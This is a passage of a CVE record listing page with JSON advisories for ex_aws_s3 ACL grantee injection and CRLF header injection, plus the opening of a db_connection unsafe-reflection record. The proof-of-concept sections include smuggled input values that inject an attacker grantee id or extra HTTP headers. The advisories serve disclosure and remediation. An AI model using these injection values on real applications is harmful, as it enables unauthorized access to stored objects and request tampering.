            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "tags": [
                "vendor-advisory",
                "related"
              ],
              "url": "https://github.com/ex-aws/ex_aws_s3/security/advisories/GHSA-6fg2-v8g4-vfg2"
            },
            {
              "name": "EEF CNA record for CVE-2026-63585",
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-63585.html"
            },
            {
              "name": "OSV record EEF-CVE-2026-63585",
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-63585"
            },
            {
              "name": "Introducing commit 4ce4d72 in ex-aws/ex_aws_s3",
              "tags": [
                "related"
              ],
              "url": "https://github.com/ex-aws/ex_aws_s3/commit/4ce4d72219c0cb8de9356278203d8ea780311b75"
            },
            {
              "name": "Fix commit dd42263 in ex-aws/ex_aws_s3",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/ex-aws/ex_aws_s3/commit/dd422637a46203d01cc47fd832836758f8090556"
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "ExAws.S3 ACL grantee injection via unescaped grant headers in format_grant_header/1",
          "workarounds": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eValidate grantee identifiers before passing them to \u003ccode\u003eExAws.S3\u003c/code\u003e ACL grant options and reject any value containing a double quote, comma, or CR/LF character, or restrict grantee input to trusted canonical ids and email addresses that match the expected S3 grantee grammar.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Validate grantee identifiers before passing them to `ExAws.S3` ACL grant options and reject any value containing a double quote, comma, or CR/LF character, or restrict grantee input to trusted canonical ids and email addresses that match the expected S3 grantee grammar."
                }
              ],
              "value": "Validate grantee identifiers before passing them to ExAws.S3 ACL grant options and reject any value containing a double quote, comma, or CR/LF character, or restrict grantee input to trusted canonical ids and email addresses that match the expected S3 grantee grammar."
            }
          ],
          "x_proofOfConcept": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003col\u003e\n\u003cli\u003eAn application offers \"share this object\" and calls \u003ccode\u003eExAws.S3.put_object_acl(\"victim-bucket\", \"secret.txt\", grant_read: [email: email])\u003c/code\u003e with a user-supplied email.\u003c/li\u003e\n\u003cli\u003eThe attacker submits the email \u003ccode\u003evictim@example.com\", id=\"ATTACKER_CANONICAL_ID_deadbeef\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eformat_grant_header/1\u003c/code\u003e interpolates it into \u003ccode\u003eemailAddress=\"...\"\u003c/code\u003e, closing the quote after \u003ccode\u003evictim@example.com\u003c/code\u003e and opening a second tuple.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003ex-amz-grant-read\u003c/code\u003e header carries \u003ccode\u003eemailAddress=\"victim@example.com\", id=\"ATTACKER_CANONICAL_ID_deadbeef\"\u003c/code\u003e, granting the attacker\u0027s principal read access.\u003c/li\u003e\n\u003c/ol\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "1. An application offers \"share this object\" and calls `ExAws.S3.put_object_acl(\"victim-bucket\", \"secret.txt\", grant_read: [email: email])` with a user-supplied email.\n2. The attacker submits the email `victim@example.com\", id=\"ATTACKER_CANONICAL_ID_deadbeef`.\n3. `format_grant_header/1` interpolates it into `emailAddress=\"...\"`, closing the quote after `victim@example.com` and opening a second tuple.\n4. The `x-amz-grant-read` header carries `emailAddress=\"victim@example.com\", id=\"ATTACKER_CANONICAL_ID_deadbeef\"`, granting the attacker\u0027s principal read access."
                }
              ],
              "value": "* An application offers \"share this object\" and calls ExAws.S3.put_object_acl(\"victim-bucket\", \"secret.txt\", grant_read: [email: email]) with a user-supplied email.\n* The attacker submits the email victim@example.com\", id=\"ATTACKER_CANONICAL_ID_deadbeef.\n* format_grant_header/1 interpolates it into emailAddress=\"...\", closing the quote after victim@example.com and opening a second tuple.\n* The x-amz-grant-read header carries emailAddress=\"victim@example.com\", id=\"ATTACKER_CANONICAL_ID_deadbeef\", granting the attacker\u0027s principal read access."
            }
          ],
          "x_technicalAnalysis": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003e\u003cstrong\u003e1. Header grammar.\u003c/strong\u003e S3 grant headers such as \u003ccode\u003ex-amz-grant-read\u003c/code\u003e and \u003ccode\u003ex-amz-grant-full-control\u003c/code\u003e are a comma-separated list of quoted grantee tuples, \u003ccode\u003etype=\"id\"[, type=\"id\"]...\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Unescaped interpolation.\u003c/strong\u003e \u003ccode\u003eformat_grant_header/1\u003c/code\u003e in \u003ccode\u003elib/ex_aws/s3/utils.ex\u003c/code\u003e builds each tuple as \u003ccode\u003eemailAddress=\"#{email}\"\u003c/code\u003e or \u003ccode\u003e#{key}=\"#{value}\"\u003c/code\u003e and joins them with \u003ccode\u003e, \u003c/code\u003e. It does not check identifiers against the id or email grammar and does not reject or escape \u003ccode\u003e\"\u003c/code\u003e, \u003ccode\u003e,\u003c/code\u003e or CR/LF.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Grantee injection.\u003c/strong\u003e A grantee value such as \u003ccode\u003ex\", id=\"ATTACKER_CANONICAL_ID\u003c/code\u003e closes the quoted token and opens a second tuple, producing \u003ccode\u003eid=\"x\", id=\"ATTACKER_CANONICAL_ID\"\u003c/code\u003e. S3 parses two grantees and gives the injected principal the permission the header conveys, up to full control for \u003ccode\u003ex-amz-grant-full-control\u003c/code\u003e.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "**1. Header grammar.** S3 grant headers such as `x-amz-grant-read` and `x-amz-grant-full-control` are a comma-separated list of quoted grantee tuples, `type=\"id\"[, type=\"id\"]...`.\n\n**2. Unescaped interpolation.** `format_grant_header/1` in `lib/ex_aws/s3/utils.ex` builds each tuple as `emailAddress=\"#{email}\"` or `#{key}=\"#{value}\"` and joins them with `, `. It does not check identifiers against the id or email grammar and does not reject or escape `\"`, `,` or CR/LF.\n\n**3. Grantee injection.** A grantee value such as `x\", id=\"ATTACKER_CANONICAL_ID` closes the quoted token and opens a second tuple, producing `id=\"x\", id=\"ATTACKER_CANONICAL_ID\"`. S3 parses two grantees and gives the injected principal the permission the header conveys, up to full control for `x-amz-grant-full-control`."
                }
              ],
              "value": "1. Header grammar. S3 grant headers such as x-amz-grant-read and x-amz-grant-full-control are a comma-separated list of quoted grantee tuples, type=\"id\"[, type=\"id\"]....\n\n2. Unescaped interpolation. format_grant_header/1 in lib/ex_aws/s3/utils.ex builds each tuple as emailAddress=\"#{email}\" or #{key}=\"#{value}\" and joins them with , . It does not check identifiers against the id or email grammar and does not reject or escape \", , or CR/LF.\n\n3. Grantee injection. A grantee value such as x\", id=\"ATTACKER_CANONICAL_ID closes the quoted token and opens a second tuple, producing id=\"x\", id=\"ATTACKER_CANONICAL_ID\". S3 parses two grantees and gives the injected principal the permission the header conveys, up to full control for x-amz-grant-full-control."
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-63585",
        "datePublished": "2026-11-24T14:13:11.918Z",
        "dateReserved": "2026-07-17T04:14:44.351Z",
        "dateUpdated": "2026-11-24T14:13:11.918Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-65621 (GCVE-0-2026-65621)

    Vulnerability from cvelistv5 – Published: 2026-11-24 14:13 – Updated: 2026-11-24 14:13
    VLAI
    Title
    Unvalidated object metadata in ex_aws_s3 enables HTTP header (CRLF) injection into S3 requests
    Summary
    ex_aws_s3 builds x-amz-meta-* request headers by interpolating user-supplied object metadata directly into header names and values without any validation. In ExAws.S3.Utils.build_meta_headers/1 (lib/ex_aws/s3/utils.ex), each :meta entry is turned into a header as {"x-amz-meta-#{k}", v} with no check for carriage return (CR), line feed (LF), or other illegal header bytes. Object metadata is routinely derived from end-user input (for example an upload service that lets users attach a comment or label to an object). When such input reaches ExAws.S3.put_object/4 or any other operation accepting the :meta option, a value containing CR/LF is carried unchanged into the outbound header list. If the configured HTTP adapter does not neutralize header values before writing them to the socket, the embedded CRLF starts a new header line, allowing an attacker to inject arbitrary headers into (or split) the HTTP request the library sends to the S3 endpoint. This is an HTTP header (CRLF) injection leading to HTTP request splitting. The practical impact depends on the HTTP adapter, and no authentication is required beyond the ability to influence object metadata. This issue affects ex_aws_s3: from 2.0.0 before 2.6.0.
    CWE
    • CWE-113 - Improper Neutralization of CRLF Sequences in HTTP Headers
    Assigner
    EEF CNA under the mitre root
    CNA scorecard A 97/100 over 376 records in the last 180 days details
    Impacted products
    Vendor Product Version
    ex-aws ex_aws_s3 Affected: 2.0.0 , < 2.6.0 (semver)
        cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*
    Create a notification for this product.
    ex-aws ex_aws_s3 Affected: 4ce4d72219c0cb8de9356278203d8ea780311b75 , < fa941106c2e3b10de8e710d1a03eeb673b88096c (git)
        cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Date Public
    2026-11-24 14:13
    Show details on NVD website

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "collectionURL": "https://repo.hex.pm",
              "cpes": [
                "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.ExAws.S3.Utils\u0027",
                "\u0027Elixir.ExAws.S3\u0027"
              ],
              "packageName": "ex_aws_s3",
              "packageURL": "pkg:hex/ex_aws_s3",
              "product": "ex_aws_s3",
              "programFiles": [
                "lib/ex_aws/s3/utils.ex",
                "lib/ex_aws/s3.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.ExAws.S3.Utils\u0027:build_meta_headers/1"
                },
                {
                  "name": "\u0027Elixir.ExAws.S3\u0027:put_object/4"
                }
              ],
              "repo": "https://github.com/ex-aws/ex_aws_s3",
              "vendor": "ex-aws",
              "versions": [
                {
                  "lessThan": "2.6.0",
                  "status": "affected",
                  "version": "2.0.0",
                  "versionType": "semver"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
                "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.ExAws.S3.Utils\u0027",
                "\u0027Elixir.ExAws.S3\u0027"
              ],
              "packageName": "ex-aws/ex_aws_s3",
              "packageURL": "pkg:github/ex-aws/ex_aws_s3",
              "product": "ex_aws_s3",
              "programFiles": [
                "lib/ex_aws/s3/utils.ex",
                "lib/ex_aws/s3.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.ExAws.S3.Utils\u0027:build_meta_headers/1"
                },
                {
                  "name": "\u0027Elixir.ExAws.S3\u0027:put_object/4"
                }
              ],
              "repo": "https://github.com/ex-aws/ex_aws_s3",
              "vendor": "ex-aws",
              "versions": [
                {
                  "lessThan": "fa941106c2e3b10de8e710d1a03eeb673b88096c",
                  "status": "affected",
                  "version": "4ce4d72219c0cb8de9356278203d8ea780311b75",
                  "versionType": "git"
                }
              ]
            }
          ],
          "configurations": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eThe vulnerability is only exploitable when an application both populates object \u003ccode\u003e:meta\u003c/code\u003e entries from untrusted input and uses an HTTP adapter that does not neutralize CR/LF in header values before writing them to the socket. The default adapter (hackney 4.x) strips CR/LF from header values, which masks the issue; the library performs no validation of its own and silently delegates safety to the configured HTTP client.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "The vulnerability is only exploitable when an application both populates object `:meta` entries from untrusted input and uses an HTTP adapter that does not neutralize CR/LF in header values before writing them to the socket. The default adapter (hackney 4.x) strips CR/LF from header values, which masks the issue; the library performs no validation of its own and silently delegates safety to the configured HTTP client."
                }
              ],
              "value": "The vulnerability is only exploitable when an application both populates object :meta entries from untrusted input and uses an HTTP adapter that does not neutralize CR/LF in header values before writing them to the socket. The default adapter (hackney 4.x) strips CR/LF from header values, which masks the issue; the library performs no validation of its own and silently delegates safety to the configured HTTP client."
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "2.6.0",
                      "versionStartIncluding": "2.0.0",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ],
              "operator": "AND"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "reporter",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "analyst",
              "value": "Jonatan M\u00e4nnchen / EEF"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "remediation developer",
              "value": "Bernard Duggan"
            }
          ],
          "datePublic": "2026-11-24T14:13:06.000Z",
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eex_aws_s3 builds \u003ccode\u003ex-amz-meta-*\u003c/code\u003e request headers by interpolating user-supplied object metadata directly into header names and values without any validation. In \u003ccode\u003eExAws.S3.Utils.build_meta_headers/1\u003c/code\u003e (\u003ccode\u003elib/ex_aws/s3/utils.ex\u003c/code\u003e), each \u003ccode\u003e:meta\u003c/code\u003e entry is turned into a header as \u003ccode\u003e{\"x-amz-meta-#{k}\", v}\u003c/code\u003e with no check for carriage return (CR), line feed (LF), or other illegal header bytes.\u003c/p\u003e\n\u003cp\u003eObject metadata is routinely derived from end-user input (for example an upload service that lets users attach a comment or label to an object). When such input reaches \u003ccode\u003eExAws.S3.put_object/4\u003c/code\u003e or any other operation accepting the \u003ccode\u003e:meta\u003c/code\u003e option, a value containing CR/LF is carried unchanged into the outbound header list. If the configured HTTP adapter does not neutralize header values before writing them to the socket, the embedded CRLF starts a new header line, allowing an attacker to inject arbitrary headers into (or split) the HTTP request the library sends to the S3 endpoint. This is an HTTP header (CRLF) injection leading to HTTP request splitting. The practical impact depends on the HTTP adapter, and no authentication is required beyond the ability to influence object metadata.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "ex_aws_s3 builds `x-amz-meta-*` request headers by interpolating user-supplied object metadata directly into header names and values without any validation. In `ExAws.S3.Utils.build_meta_headers/1` (`lib/ex_aws/s3/utils.ex`), each `:meta` entry is turned into a header as `{\"x-amz-meta-#{k}\", v}` with no check for carriage return (CR), line feed (LF), or other illegal header bytes.\n\nObject metadata is routinely derived from end-user input (for example an upload service that lets users attach a comment or label to an object). When such input reaches `ExAws.S3.put_object/4` or any other operation accepting the `:meta` option, a value containing CR/LF is carried unchanged into the outbound header list. If the configured HTTP adapter does not neutralize header values before writing them to the socket, the embedded CRLF starts a new header line, allowing an attacker to inject arbitrary headers into (or split) the HTTP request the library sends to the S3 endpoint. This is an HTTP header (CRLF) injection leading to HTTP request splitting. The practical impact depends on the HTTP adapter, and no authentication is required beyond the ability to influence object metadata.\n\nThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0."
                }
              ],
              "value": "ex_aws_s3 builds x-amz-meta-* request headers by interpolating user-supplied object metadata directly into header names and values without any validation. In ExAws.S3.Utils.build_meta_headers/1 (lib/ex_aws/s3/utils.ex), each :meta entry is turned into a header as {\"x-amz-meta-#{k}\", v} with no check for carriage return (CR), line feed (LF), or other illegal header bytes.\n\nObject metadata is routinely derived from end-user input (for example an upload service that lets users attach a comment or label to an object). When such input reaches ExAws.S3.put_object/4 or any other operation accepting the :meta option, a value containing CR/LF is carried unchanged into the outbound header list. If the configured HTTP adapter does not neutralize header values before writing them to the socket, the embedded CRLF starts a new header line, allowing an attacker to inject arbitrary headers into (or split) the HTTP request the library sends to the S3 endpoint. This is an HTTP header (CRLF) injection leading to HTTP request splitting. The practical impact depends on the HTTP adapter, and no authentication is required beyond the ability to influence object metadata.\n\nThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-105",
              "descriptions": [
                {
                  "lang": "en",
                  "supportingMedia": [
                    {
                      "base64": false,
                      "type": "text/html",
                      "value": "\u003cp\u003eThis is an HTTP header (CRLF) injection / request-splitting issue. Anyone using \u003ccode\u003eex_aws_s3\u003c/code\u003e to store objects whose metadata is derived from untrusted input (upload services, multi-tenant file stores, anything exposing object metadata over an HTTP boundary) is affected. The practical impact depends on the configured HTTP adapter: adapters that validate header values will reject or strip the injection, but the library offers no guarantee and performs no validation of its own, so the safety of the request is silently delegated to the HTTP client.\u003c/p\u003e"
                    },
                    {
                      "base64": false,
                      "type": "text/markdown",
                      "value": "This is an HTTP header (CRLF) injection / request-splitting issue. Anyone using `ex_aws_s3` to store objects whose metadata is derived from untrusted input (upload services, multi-tenant file stores, anything exposing object metadata over an HTTP boundary) is affected. The practical impact depends on the configured HTTP adapter: adapters that validate header values will reject or strip the injection, but the library offers no guarantee and performs no validation of its own, so the safety of the request is silently delegated to the HTTP client."
                    }
                  ],
                  "value": "This is an HTTP header (CRLF) injection / request-splitting issue. Anyone using ex_aws_s3 to store objects whose metadata is derived from untrusted input (upload services, multi-tenant file stores, anything exposing object metadata over an HTTP boundary) is affected. The practical impact depends on the configured HTTP adapter: adapters that validate header values will reject or strip the injection, but the library offers no guarantee and performs no validation of its own, so the safety of the request is silently delegated to the HTTP client."
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "PRESENT",
                "attackVector": "LOCAL",
                "baseScore": 2.1,
                "baseSeverity": "LOW",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "LOW",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "LOW",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-113",
                  "description": "CWE-113 Improper Neutralization of CRLF Sequences in HTTP Headers",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-24T14:13:06.909Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "tags": [
                "vendor-advisory",
                "related"
              ],
              "url": "https://github.com/ex-aws/ex_aws_s3/security/advisories/GHSA-5887-vcfr-5ff8"
            },
            {
              "name": "EEF CNA record for CVE-2026-65621",
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-65621.html"
            },
            {
              "name": "OSV record EEF-CVE-2026-65621",
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-65621"
            },
            {
              "name": "Introducing commit 4ce4d72 in ex-aws/ex_aws_s3",
              "tags": [
                "related"
              ],
              "url": "https://github.com/ex-aws/ex_aws_s3/commit/4ce4d72219c0cb8de9356278203d8ea780311b75"
            },
            {
              "name": "Fix commit fa94110 in ex-aws/ex_aws_s3",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/ex-aws/ex_aws_s3/commit/fa941106c2e3b10de8e710d1a03eeb673b88096c"
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "Unvalidated object metadata in ex_aws_s3 enables HTTP header (CRLF) injection into S3 requests",
          "workarounds": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eReject or strip carriage return (CR) and line feed (LF) characters from object metadata keys and values before passing them to ex_aws_s3, or configure an HTTP adapter that neutralizes CR/LF in header values before writing them to the socket (for example hackney 4.x).\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Reject or strip carriage return (CR) and line feed (LF) characters from object metadata keys and values before passing them to ex_aws_s3, or configure an HTTP adapter that neutralizes CR/LF in header values before writing them to the socket (for example hackney 4.x)."
                }
              ],
              "value": "Reject or strip carriage return (CR) and line feed (LF) characters from object metadata keys and values before passing them to ex_aws_s3, or configure an HTTP adapter that neutralizes CR/LF in header values before writing them to the socket (for example hackney 4.x)."
            }
          ],
          "x_proofOfConcept": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003col\u003e\n\u003cli\u003eAn upload service forwards user-supplied metadata: \u003ccode\u003eExAws.S3.put_object(\"victim-bucket\", \"uploads/file.txt\", \"hello\", meta: [{\"comment\", value}])\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker sets the value to \u003ccode\u003elegit\\r\\nX-Injected-By-Attacker: pwned\\r\\nX-Smuggled: yes\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ebuild_meta_headers/1\u003c/code\u003e copies it verbatim into the \u003ccode\u003ex-amz-meta-comment\u003c/code\u003e header.\u003c/li\u003e\n\u003cli\u003eWith an adapter that does not reject CR/LF, the bytes on the wire contain \u003ccode\u003eX-Injected-By-Attacker: pwned\u003c/code\u003e and \u003ccode\u003eX-Smuggled: yes\u003c/code\u003e as separate header lines.\u003c/li\u003e\n\u003c/ol\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "1. An upload service forwards user-supplied metadata: `ExAws.S3.put_object(\"victim-bucket\", \"uploads/file.txt\", \"hello\", meta: [{\"comment\", value}])`.\n2. The attacker sets the value to `legit\\r\\nX-Injected-By-Attacker: pwned\\r\\nX-Smuggled: yes`.\n3. `build_meta_headers/1` copies it verbatim into the `x-amz-meta-comment` header.\n4. With an adapter that does not reject CR/LF, the bytes on the wire contain `X-Injected-By-Attacker: pwned` and `X-Smuggled: yes` as separate header lines."
                }
              ],
              "value": "* An upload service forwards user-supplied metadata: ExAws.S3.put_object(\"victim-bucket\", \"uploads/file.txt\", \"hello\", meta: [{\"comment\", value}]).\n* The attacker sets the value to legit\\r\\nX-Injected-By-Attacker: pwned\\r\\nX-Smuggled: yes.\n* build_meta_headers/1 copies it verbatim into the x-amz-meta-comment header.\n* With an adapter that does not reject CR/LF, the bytes on the wire contain X-Injected-By-Attacker: pwned and X-Smuggled: yes as separate header lines."
            }
          ],
          "x_technicalAnalysis": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003e\u003cstrong\u003e1. Unvalidated header construction.\u003c/strong\u003e \u003ccode\u003eExAws.S3.Utils.build_meta_headers/1\u003c/code\u003e in \u003ccode\u003elib/ex_aws/s3/utils.ex\u003c/code\u003e turns each \u003ccode\u003e:meta\u003c/code\u003e entry into \u003ccode\u003e{\"x-amz-meta-#{k}\", v}\u003c/code\u003e. Neither the key nor the value is checked for CR, LF or other illegal header bytes.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Untrusted metadata.\u003c/strong\u003e Object metadata is routinely populated from end-user input, such as a comment or label attached to an upload. A value like \u003ccode\u003e\"legit\\r\\nX-Injected-By-Attacker: pwned\"\u003c/code\u003e reaches the header list unchanged through \u003ccode\u003eExAws.S3.put_object/4\u003c/code\u003e or any operation taking \u003ccode\u003e:meta\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Header injection.\u003c/strong\u003e If the HTTP adapter does not validate header values before writing them to the socket, the embedded CRLF ends the \u003ccode\u003ex-amz-meta-*\u003c/code\u003e line and starts a new one, injecting arbitrary headers into, or splitting, the request sent to S3. The library delegates this safety to the adapter entirely.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "**1. Unvalidated header construction.** `ExAws.S3.Utils.build_meta_headers/1` in `lib/ex_aws/s3/utils.ex` turns each `:meta` entry into `{\"x-amz-meta-#{k}\", v}`. Neither the key nor the value is checked for CR, LF or other illegal header bytes.\n\n**2. Untrusted metadata.** Object metadata is routinely populated from end-user input, such as a comment or label attached to an upload. A value like `\"legit\\r\\nX-Injected-By-Attacker: pwned\"` reaches the header list unchanged through `ExAws.S3.put_object/4` or any operation taking `:meta`.\n\n**3. Header injection.** If the HTTP adapter does not validate header values before writing them to the socket, the embedded CRLF ends the `x-amz-meta-*` line and starts a new one, injecting arbitrary headers into, or splitting, the request sent to S3. The library delegates this safety to the adapter entirely."
                }
              ],
              "value": "1. Unvalidated header construction. ExAws.S3.Utils.build_meta_headers/1 in lib/ex_aws/s3/utils.ex turns each :meta entry into {\"x-amz-meta-#{k}\", v}. Neither the key nor the value is checked for CR, LF or other illegal header bytes.\n\n2. Untrusted metadata. Object metadata is routinely populated from end-user input, such as a comment or label attached to an upload. A value like \"legit\\r\\nX-Injected-By-Attacker: pwned\" reaches the header list unchanged through ExAws.S3.put_object/4 or any operation taking :meta.\n\n3. Header injection. If the HTTP adapter does not validate header values before writing them to the socket, the embedded CRLF ends the x-amz-meta-* line and starts a new one, injecting arbitrary headers into, or splitting, the request sent to S3. The library delegates this safety to the adapter entirely."
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-65621",
        "datePublished": "2026-11-24T14:13:06.909Z",
        "dateReserved": "2026-07-22T13:55:59.401Z",
        "dateUpdated": "2026-11-24T14:13:06.909Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-133555 (GCVE-0-2026-133555)

    Vulnerability from cvelistv5 – Published: 2026-11-24 14:12 – Updated: 2026-11-24 14:59
    VLAI
    Title
    Code execution via the :log option of forged DBConnection.Stream structs in db_connection
    Summary
    Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') vulnerability in elixir-ecto db_connection allows an attacker to execute arbitrary code via a forged DBConnection.Stream or DBConnection.PrepareStream struct. The Enumerable implementations of both structs in lib/db_connection.ex run with the options stored in the struct. The :log option accepts a {module, function, arguments} tuple, which DBConnection applies. When code enumerates a forged struct, DBConnection calls the chosen function. This issue is not exploitable in db_connection alone. It is, in theory, a vulnerability of the downstream component. The root cause is a component that decodes untrusted input with :erlang.binary_to_term/2 and does not restrict which terms the result contains. The :safe option does not reject structs, and these structs contain only plain terms. Structs of other libraries can possibly lead to the same result, so a component that decodes untrusted terms stays at risk independently of db_connection. This record exists because the struct was used in attacks on such components. This issue affects db_connection: from 1.1.0 before 2.10.3.
    CWE
    • CWE-470 - Use of Externally-Controlled Input to Select Classes or Code
    Assigner
    EEF CNA under the mitre root
    CNA scorecard A 97/100 over 376 records in the last 180 days details
    Impacted products
    Vendor Product Version
    elixir-ecto db_connection Affected: 1.1.0 , < 2.10.3 (semver)
        cpe:2.3:a:elixir-ecto:db_connection:*:*:*:*:*:*:*:*
    Create a notification for this product.
    elixir-ecto db_connection Affected: 7b21e044e4a2f9fa0cc4b001bc6cda0ecc2ae4d2 , < 9a4230a60a33ca9eed76c18c494c3a59acddb04b (git)
        cpe:2.3:a:elixir-ecto:db_connection:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Date Public
    2026-11-24 14:12
    Show details on NVD website

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "collectionURL": "https://repo.hex.pm",
              "cpes": [
                "cpe:2.3:a:elixir-ecto:db_connection:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.DBConnection\u0027",
                "\u0027Elixir.DBConnection.Stream\u0027",
                "\u0027Elixir.DBConnection.PrepareStream\u0027",
                "\u0027Elixir.Enumerable.DBConnection.Stream\u0027",
                "\u0027Elixir.Enumerable.DBConnection.PrepareStream\u0027"
              ],
              "packageName": "db_connection",
              "packageURL": "pkg:hex/db_connection",
              "product": "db_connection",
              "programFiles": [
                "lib/db_connection.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.Enumerable.DBConnection.Stream\u0027:reduce/3"
                },
                {
                  "name": "\u0027Elixir.Enumerable.DBConnection.PrepareStream\u0027:reduce/3"
                },
                {
                  "name": "\u0027Elixir.DBConnection\u0027:reduce/3"
                }
              ],
              "repo": "https://github.com/elixir-ecto/db_connection",
              "vendor": "elixir-ecto",
              "versions": [
                {
                  "lessThan": "2.10.3",
                  "status": "affected",
                  "version": "1.1.0",
                  "versionType": "semver"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
